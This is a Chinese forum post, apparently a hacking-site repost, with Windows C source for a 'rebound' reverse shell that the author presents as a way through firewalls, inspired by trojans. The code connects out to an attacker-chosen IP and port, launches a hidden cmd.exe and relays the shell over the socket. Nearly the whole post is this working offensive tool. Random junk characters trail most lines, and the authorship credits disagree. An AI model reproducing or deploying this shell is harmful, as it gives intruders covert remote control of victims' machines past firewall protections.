这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 qS?o22
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/* ============================== b.*LmSX#
Rebound port in Windows NT c^}G=Z1@
By wind,2006/7 .*zN@y3
===============================*/ \Qml~?$@lH
#include tYA@J[" ^
#include /x3*oO1
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#pragma comment(lib,"wsock32.lib") ,Ckcc
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void OutputShell(); TY8gB!^
SOCKET sClient; _a09;C
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; n%E,[JT
/HIyQW\Ki-
void main(int argc,char **argv) %.Y5%TyP
{ !h?HfpYv
WSADATA stWsaData; ~J\qkQ
int nRet; _8G
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SOCKADDR_IN stSaiClient,stSaiServer; 9xA4;)36
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if(argc != 3) {Y~>&B5
{ W3:j Z:
printf("Useage:\n\rRebound DestIP DestPort\n"); e=;A3S
return; CR4O#f8\
} Av x`
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WSAStartup(MAKEWORD(2,2),&stWsaData); Jn+ -G4h$
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w=KfkdAJ*/
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stSaiClient.sin_family = AF_INET; )KZMRAT-
stSaiClient.sin_port = htons(0); PUQ",;&y1
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]B>76?2W
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~5
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{ )>@S8v,(
printf("Bind Socket Failed!\n"); ]_C"A
return; Pe`mZCd^
} ?%3dgQB'
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stSaiServer.sin_family = AF_INET; 8Lgt
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); UPtj@gtcY
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); HK)m^!=
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %ap(=^|5
{ Y0(4]X \ey
printf("Connect Error!"); b<FE
return; ('x]@
} s|%R
OutputShell(); f*%kHfaXgN
} Fz#@ [1,
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void OutputShell() U["0B8
{ r+#{\~r7T
char szBuff[1024]; U7WYS8
SECURITY_ATTRIBUTES stSecurityAttributes; y[N0P0r l:
OSVERSIONINFO stOsversionInfo; )rEl{a
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; kN=&"
STARTUPINFO stStartupInfo; ,I"T9k-^
char *szShell; !!\}-r^y%
PROCESS_INFORMATION stProcessInformation; h,c*:
unsigned long lBytesRead; @c^ Dl
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =p+n(C/
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); J~%43!X\K
stSecurityAttributes.lpSecurityDescriptor = 0; m%0-3c(
stSecurityAttributes.bInheritHandle = TRUE; '0Cp
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Q6m8N
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); q|*^{(tWs
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); [9sEc
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0AHQ(+Ap
stStartupInfo.wShowWindow = SW_HIDE; tV!?Ol
stStartupInfo.hStdInput = hReadPipe; t:2DB)
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "Z&.m..gc
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GetVersionEx(&stOsversionInfo); N3"Jo uP
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switch(stOsversionInfo.dwPlatformId) 40?RiwwD
{ qyM/p.mP
case 1: tWn
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szShell = "command.com"; a&>NuMDI
break; QIiy\E%
default: SnE^\I^O
szShell = "cmd.exe"; z}E_wg
break; P<g(i 6]
} 4r(0+SO
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); hDxq9EF
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send(sClient,szMsg,77,0); H,} &=SCk
while(1) W6<oy
{ F! !HwI
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >!Yuef
<P
if(lBytesRead) Cd*h4Q]S
{ UDEGQ^)Xz|
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Y,s EM%
send(sClient,szBuff,lBytesRead,0); f$dPDbZQ
} Oc L7] b0
else b`X''6
{ m(8Tup|
lBytesRead=recv(sClient,szBuff,1024,0); z>W:+W"o
if(lBytesRead<=0) break; %>FtA)
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); IV,4BQ$
} Uxjc&o
} -leX|U}k
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return; oz&`3`
}